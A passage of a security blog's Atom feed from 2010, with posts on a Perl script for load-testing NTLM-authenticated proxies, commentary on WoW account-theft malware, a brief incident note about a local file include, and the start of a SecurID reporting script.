Proxies'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-785956927438348510</id><published>2010-03-05T13:14:00.000-08:00</published><updated>2010-03-05T13:16:04.502-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='NTLM'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='proxy'/><title type='text'>LWP and NTLM Proxy Authentication</title><content type='html'>During the course of my duties, I had a need to load test some proxy servers. To do this, we decided to use ISA logs as sources for test traffic. so the objective was seemingly simple, write a quick LWP script that&amp;nbsp;parses&amp;nbsp;an ISA log for urls, then goes and tries to retrieve them&amp;nbsp;through&amp;nbsp;the target proxy. Oh and , of&amp;nbsp;course, make it multi-threaded so we can send tons and tons of traffic at a time.&amp;nbsp;Where&amp;nbsp;it&amp;nbsp;gets&amp;nbsp;a little more&amp;nbsp;complicated&amp;nbsp;is this: the proxies in question all use NTLM Authentication. I wasn't discouraged, at first, but soon discovered that I could not find anyone who had managed to make LWP work with an NTLM proxy. Sure, I could have kludged it together with something like CNTLM, but that didn't feel right, and didn't provide for solid&amp;nbsp;re usability.&lt;br /&gt;&lt;br /&gt;Fortunately, I did find&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: arial, sans-serif;"&gt;Yee Man Chan's&amp;nbsp;&lt;a href="http://search.cpan.org/dist/Authen-NTLM/lib/Authen/NTLM.pm"&gt;Authen::NTLM Module&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;which I was able to appropriately adapt to my purposes.It &amp;nbsp;is important to not that this Yee Man Chan's module not the one with the same&amp;nbsp;&lt;/span&gt;&lt;a href="http://search.cpan.org/~buzz/NTLM-1.05/NTLM.pm"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;namespace&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;. You can tell which is which by the version numbers. Anyways, the script I wrote takes a proxy address, an isa log file and a number of threads as arguments, and proceeds to slam said proxy into oblivion. Here it is.Please feel free to leave comments and/or feedback.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;-------------------------------------code-------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;use threads;&lt;br /&gt;use Thread::queue;&lt;br /&gt;use LWP;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;use HTTP::Request;&lt;br /&gt;use Authen::NTLM(nt_hash, lm_hash);&lt;br /&gt;use Authen::NTLM::HTTP;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#Checks to ensure the user has invoked the script correctly&lt;br /&gt;unless(scalar(@ARGV) ==3){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;print "Proper usage is proxytest.pl &lt;logfile&gt; &amp;lt;# of threads&amp;gt; &lt;url of="" proxy=""&gt;\n";&lt;/url&gt;&lt;/logfile&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;print "Proxy must be entered as http://&lt;hostname&gt;:&lt;port&gt; or http://&lt;ip addr=""&gt;:&lt;port&gt;\n ";&lt;/port&gt;&lt;/ip&gt;&lt;/port&gt;&lt;/hostname&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;exit;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;br /&gt;#Begin instantiating our queues&lt;br /&gt;our $users = new Thread::Queue;&lt;br /&gt;our $urls = new Thread::Queue;&lt;br /&gt;&lt;br /&gt;#Takes the apssed parameters and sets them. This is the ISA log file being parsed for test URLS, the number of threads to use in testing, and the proxy being tested&lt;br /&gt;my $logfile = $ARGV[0];&lt;br /&gt;my $numthreads = $ARGV[1];&lt;br /&gt;my $proxy = $ARGV[2];&lt;br /&gt;&lt;br /&gt;#Collect the hostname for the local machine, this is important for the NTLM Negotiation that will be happening later&lt;br /&gt;our $workstation = `hostname` ;&lt;br /&gt;our $placeholder = 0;&lt;br /&gt;&lt;br /&gt;#Verifies that the proxy was entered in the correct format&lt;br /&gt;unless ($proxy=~/^http:\/\/[A-Za-z0-9\.]+:\d+$/){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;print "Proxy must be entered as http://&lt;hostname&gt;:&lt;port&gt; or http://&lt;ip addr=""&gt;:&lt;port&gt;\n ";&lt;/port&gt;&lt;/ip&gt;&lt;/port&gt;&lt;/hostname&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;exit;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;#Enqueues the test accounts to use&lt;br /&gt;$users-&amp;gt;enqueue(&lt;test accounts="" redacted=""&gt;);&lt;/test&gt;&lt;br /&gt;&lt;br /&gt;#Reads through the supplied log file, and collects all of the URLs and enqueues them for the worker threads to use&lt;br /&gt;open ISALOG, "&amp;lt;$logfile";&lt;br /&gt;&lt;br /&gt;while (&lt;isalog&gt;){&lt;/isalog&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;chomp;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;if($_=~/\banonymous\b/i){next;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;if($_=~/\bhttp:\/\/\S+\b/i){$urls-&amp;gt;enqueue($&amp;amp;);}&lt;br /&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;close ISALOG;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;print "\n Done Reading Log! \n\n";&lt;br /&gt;&lt;br /&gt;#Instantiates a number of worker threads based on the parameter passed when invoking the script&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;for($tcount=1; $tcount&amp;lt;=$numthreads;$tcount++){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$thrs[$tcount]= threads-&amp;gt;create(\&amp;amp;printoff, $tcount );&lt;br /&gt;}&lt;br /&gt;#Sets blockings joins for each one of these asynchronous worker threads&lt;br /&gt;for($tcount=1; $tcount&amp;lt;=$numthreads;$tcount++){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;$thrs[$tcount]-&amp;gt;join;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#foreach(@thrs){$_-&amp;gt;join;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#The meat and potatoes&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;sub printoff{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;#Dequeues a URL and username to use. It then re-enqueues the username, sticking back at the end of the Queue to be used over again&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;my $tid = $_[0];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;my $url = $urls-&amp;gt;dequeue_nb;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;my $user = $users-&amp;gt;dequeue;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;$users-&amp;gt;enqueue($user);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;#While it had a valid URL, it will perform the below tests&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;while ($url){&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#Password is set here. This password is static for all of the used test accounts&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;my $my_pass = &lt;password redacted=""&gt;;&lt;/password&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#Creates the LWP User Agent, tells it to use the supplied proxy, and sends the initial HTTP GET request for the supplied URL and takes in a response&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;my $ua = &amp;nbsp;new LWP::UserAgent(keep_alive=&amp;gt;1);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$ua-&amp;gt;proxy('http', $proxy);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$ua-&amp;gt;timeout(30);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;my $req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;my $res = $ua-&amp;gt;request($req);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#Once the initial request has been sent out, the proxy will send back an NTLM negotiate message&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#We set up the NTLM authentication client response by passing ntlm hashes of the username, password, domain, and workstation hostname&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$client = new_client Authen::NTLM::HTTP(lm_hash($my_pass), nt_hash($my_pass),Authen::NTLM::HTTP::NTLMSSP_HTTP_PROXY, &lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$user, &lt;domain name="" redacted=""&gt;, &lt;domain name="" redacted=""&gt;, $workstation, );&lt;/domain&gt;&lt;/domain&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;#Here we set the NTLM protocol flags that we wish to be accepted&lt;br /&gt;$flags = Authen::NTLM::NTLMSSP_NEGOTIATE_ALWAYS_SIGN | Authen::NTLM::NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED | Authen::NTLM::NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED | Authen::NTLM::NTLMSSP_NEGOTIATE_NTLM | Authen::NTLM::NTLMSSP_NEGOTIATE_OEM ;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#We then take the client data, and the flags and jam them into a header, and add it back to the original request, and resend it.&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$negotiate_msg = $client-&amp;gt;http_negotiate($flags);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$negotiate_msg = "Proxy-" . $negotiate_msg ;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@pa = split(/:/,$negotiate_msg);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$req-&amp;gt;header($pa[0] =&amp;gt; $pa[1]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#The proxy then sends back an NTLM challenge response, which we strip from the message and parse using the NTLM methods provided by the module&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;my $challenge_msg = "Proxy-Authenticate: " . $res-&amp;gt;header("Proxy-Authenticate");&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;($domain, $flags, $nonce, $ctx_upper, $ctx_lower) = $client-&amp;gt;http_parse_challenge($challenge_msg);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#Kludged together fix. for some reason it generates errors if you do not do this. Possibly an oddity about the way we are using the NTLM module&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;if ($domain or $ctx_upper or $ctx_lower){$placeholder=1;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#We set the next round of flags, take the Nonce which we gained from parsing the challenge message, and send back a final authentication message. Once the proxy recieves this, it processes the original GET request&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$flags = Authen::NTLM::NTLMSSP_NEGOTIATE_ALWAYS_SIGN | Authen::NTLM::NTLMSSP_NEGOTIATE_NTLM | Authen::NTLM::NTLMSSP_REQUEST_TARGET;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$auth_msg = $client-&amp;gt;http_auth($nonce, $flags);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@pa = split(/:/,$auth_msg);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$req-&amp;gt;header($pa[0] =&amp;gt; $pa[1]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;print "Finished getting $url \n";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#my $bytes = length $res-&amp;gt;content;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#print " $url was $bytes bytes \n";&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#print $res-&amp;gt;code;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#print "\n\n" . $res-&amp;gt;content;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;#We then dequeue the next URL and continue on until there are no more URLs. The worker thread will then attempt to join. when all worker threads have joined, the code exits.&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;$url = $urls-&amp;gt;dequeue_nb;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-785956927438348510?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/785956927438348510/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/03/lwp-and-ntlm-proxy-authentication.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/785956927438348510'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/785956927438348510'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/03/lwp-and-ntlm-proxy-authentication.html' title='LWP and NTLM Proxy Authentication'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-5676756450585668070</id><published>2010-03-04T11:56:00.000-08:00</published><updated>2010-03-05T08:20:38.533-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scams'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='mitm'/><category scheme='http://www.blogger.com/atom/ns#' term='gaming'/><category scheme='http://www.blogger.com/atom/ns#' term='fraud'/><category scheme='http://www.blogger.com/atom/ns#' term='WoW'/><title type='text'>Defrauding the fantasy economy</title><content type='html'>There is an interesting story developing, about World of Warcraft account fraud. The original articles I found are over at&amp;nbsp;&lt;a href="http://sunbeltblog.blogspot.com/2010/03/world-of-warcraft-authenticator-users.html"&gt;Sunbelt Software&lt;/a&gt;&amp;nbsp;and &lt;a href="http://cosine-security.blogspot.com/2010/03/defrauding-fantasy-economy.html"&gt;El Reg&lt;/a&gt;. Apparently, the latest round of WoW account hacks is using malware that intercepts the&amp;nbsp;multi-factor&amp;nbsp;authentication credentials, transmits them to a MitM server, and replays a failed login to the user. Meanwhile the MitM box replays the login data to the WoW authentication servers, and promptly empties their&amp;nbsp;characters&amp;nbsp;of their hard farmed gold. I would imagine that by the time the user successfully logged in, their&amp;nbsp;characters&amp;nbsp;would all be broke.&lt;br /&gt;&lt;br /&gt;I feel that there are a couple of&amp;nbsp;important&amp;nbsp;take-aways from this story. The first, is one that plenty of&amp;nbsp;other&amp;nbsp;people have been saying for a long time now. The fraudsters are getting better. They are smart, they are dedicated, and they are engaged in an arms race with the Security Industry. &amp;nbsp;It raises serious concerns over our ability to stay on top of this arms race. Along those lines is the second point. This is nothing new either, but the end users are the weakest link. Yes, from a technical perspective the vector is a&amp;nbsp;Trojan. Realistically though, it's a social engineering attack. The initial con where you get the user to&amp;nbsp;download&amp;nbsp;and install the new "add-on". Both sides of this attack vector are hard to stay on top of. Firstly, malware authors are very good at creating variants to escape AV definitions, so AV alone cannot be relied upon. &amp;nbsp;Secondly, how do you make sure users don't fall for these traps. Many would-be pundits will say it is the fault of "stupid users". In some&amp;nbsp;cases&amp;nbsp;this may be accurate, but let's be honest here,&amp;nbsp;fraudsters&amp;nbsp;have gotten VERY good at social engineering.&lt;br /&gt;&lt;br /&gt;This is probably the biggest lesson of the over-hyped Aurora incident. Social Engineering can hit anyone. Users at google may not have had any reason to&amp;nbsp;doubt&amp;nbsp;the authenticity of the emails they&amp;nbsp;received. They had no way to sense the &amp;nbsp;malignant payload carried in those innocent looking PDFs. Sure, intellectually we all know PDFs can have bad things in them. We also knew as kids that some people put razor blades in candy apples. I don't think&amp;nbsp;most&amp;nbsp;people tear apart their fruit before they eat it. Especially if it's someone they trust handing it to them. So how were these WoW users to know that this add-on was no good. There are known 'safe' repositories of add-on, you will undoubtedly say. We have seen how much of a fallacy even&amp;nbsp;&lt;a href="http://www.theregister.co.uk/2010/02/05/malicious_firefox_extensions/"&gt;that&lt;/a&gt;&amp;nbsp;can be. There is no&amp;nbsp;reliable&amp;nbsp;system of trust on the internet. It's a best guess effort. You&amp;nbsp;might&amp;nbsp;check around the forums to see if other people say anything about the add-on. You&amp;nbsp;might&amp;nbsp;do a google-search for the add-on and see what comes up, or even ask people in the game about it. If you're particularly in the know, you&amp;nbsp;might&amp;nbsp;even check the sites hosting it against&amp;nbsp;something&amp;nbsp;along the lines of&amp;nbsp;&lt;a href="http://www.siteadvisor.com/"&gt;Mcafee's Site Adviser&lt;/a&gt;&amp;nbsp;. What do you do if all of these come up dry? Chances are, you're going to take a chance and install it. Conventional wisdom says, if you notice anything strange during the install, then you&amp;nbsp;panic, remove it, and run an anti-virus. Malware&amp;nbsp;authors&amp;nbsp;are not so sloppy as to make it obvious anymore, though. So now you have installed software that, as far as you can tell, is exactly what it says it is. By the time you&amp;nbsp;might&amp;nbsp;realize&amp;nbsp;you were wrong, it's already too late&lt;br /&gt;&lt;br /&gt;So the question becomes, how do we fight this attack vector? There is no silver bullet answer. It is still just a best effort game. So we rely on the things that we know help protect us. We use only known trusted sources. We do some research on software before we install it. We&amp;nbsp;might&amp;nbsp;check Site Adviser, or upload the binary to&amp;nbsp;&lt;a href="http://www.virustotal.com/"&gt;Virus Total&lt;/a&gt;&amp;nbsp;. We make sure our anti-virus is up to date, and our boxes are patched. Every once and a while, we may still get nailed.&lt;br /&gt;&lt;br /&gt;There is a third take-away point in all of this, that I'd like to discuss briefly. This is perhaps the&amp;nbsp;most&amp;nbsp;bizarre&amp;nbsp;piece of this. We have seen these sort of things all before. Spend a month reading the security blogs and new sites out there, and you'll be flooded with plenty of stories about targeted malware, and banking trojans. You'll see&amp;nbsp;reports&amp;nbsp;of botnets that stole millions of logins. What is truly strange about this particular case, at least to me, is the target.&amp;nbsp;Remember&amp;nbsp;that we are talking about World of Warcraft here, a video game. We are seeing the same&amp;nbsp;amount&amp;nbsp;of effort put into stealing video game logins as the people who break into bank accounts. People are breaking into a virtual world,&amp;nbsp;committing&amp;nbsp;fantasy identity theft, and using it to empty imaginary bank accounts of money that doesn't exist and cannot be sued outside of the confines of this imaginary world. And yet, they take this imaginary money, and they turn it into real money. It is all well rooted in the theory of supply and demand, I suppose. I, however, cannot shake the sensation that this is truly a strange situation we find ourselves in. It's rather like if we were playing a game of&amp;nbsp;monopoly, and when you weren't looking I stole some of your&amp;nbsp;play&amp;nbsp;money. I then turn around and sell that play money to another player for $100. Is it just me, or does anyone else find this to be insane?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-5676756450585668070?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/5676756450585668070/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/03/defrauding-fantasy-economy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/5676756450585668070'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/5676756450585668070'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/03/defrauding-fantasy-economy.html' title='Defrauding the fantasy economy'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-9192337369355399288</id><published>2010-03-03T14:17:00.000-08:00</published><updated>2010-03-03T14:18:36.552-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='mod_perl'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='denial of service'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><category scheme='http://www.blogger.com/atom/ns#' term='local file include'/><title type='text'>Lessons Learned: Self-referencing local file includes...</title><content type='html'>So I had a small incident at work today. I found a perl cgi script that had a local file include/os command injection vulnerability on it. After confirming this vulnerability, i decided to try and pull the source code for the vulnerable script, and the system choked. When I went to try something else, I was greeted by an ugly apache 500 server error. At first I&amp;nbsp;just&amp;nbsp;frowned and went back to a command string I had already validated worked. 500 error again. apparently&amp;nbsp;somewhere&amp;nbsp;in the mix, I am unsure if it is apache itself, mod_perl, or a condition created on the OS level, did not like the script trying to read itself and return it back out through apache. I suppose you could class this as an&amp;nbsp;inadvertent&amp;nbsp;denial of service attack&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-9192337369355399288?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/9192337369355399288/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/03/lessons-learned-self-referencing-local.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/9192337369355399288'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/9192337369355399288'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/03/lessons-learned-self-referencing-local.html' title='Lessons Learned: Self-referencing local file includes...'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-176002096721147005</id><published>2010-02-25T12:29:00.000-08:00</published><updated>2010-02-25T12:29:51.320-08:00</updated><title type='text'>Scripting Binge</title><content type='html'>I'm going through some of my old scripts today, and&amp;nbsp;thought&amp;nbsp;I would share some of the things I've come up with over the next few days. Today I have posted a pair of SecurID reporting scripts I wrote a while back, so check those posts out. tomorrow i'll be talking about some Perl scripts designed to do testing and monitoring of web proxy servers. Stay tuned!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-176002096721147005?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/176002096721147005/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/02/scripting-binge.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/176002096721147005'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/176002096721147005'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/02/scripting-binge.html' title='Scripting Binge'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-2422244237836477053</id><published>2010-02-25T12:24:00.000-08:00</published><updated>2010-03-03T14:20:12.393-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SecurID'/><category scheme='http://www.blogger.com/atom/ns#' term='RSA'/><category scheme='http://www.blogger.com/atom/ns#' term='VBS'/><category scheme='http://www.blogger.com/atom/ns#' term='reporting'/><category scheme='http://www.blogger.com/atom/ns#' term='scripting'/><title type='text'>RSA SecurID Monthly Successful Authentication Script</title><content type='html'>Here's another fun SecurID Script&lt;br /&gt;&lt;br /&gt;This is one that is run directly on your ACE Server. It has two parts, one is a TCL script that directly accesses the API on the box. The contents of that TCL script look like this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;puts [Sd_ApiInit "" "" 1]&lt;br /&gt;# SQL using Dynamic Select to print out the last login dates for all tokens.&lt;br /&gt;set line 0&lt;br /&gt;set startdate 0&lt;br /&gt;set enddate 0&lt;br /&gt;&lt;br /&gt;set startdate [lindex $argv 0]&lt;br /&gt;set enddate [lindex $argv 1]&lt;br /&gt;&lt;br /&gt;puts $startdate&lt;br /&gt;puts $enddate&lt;br 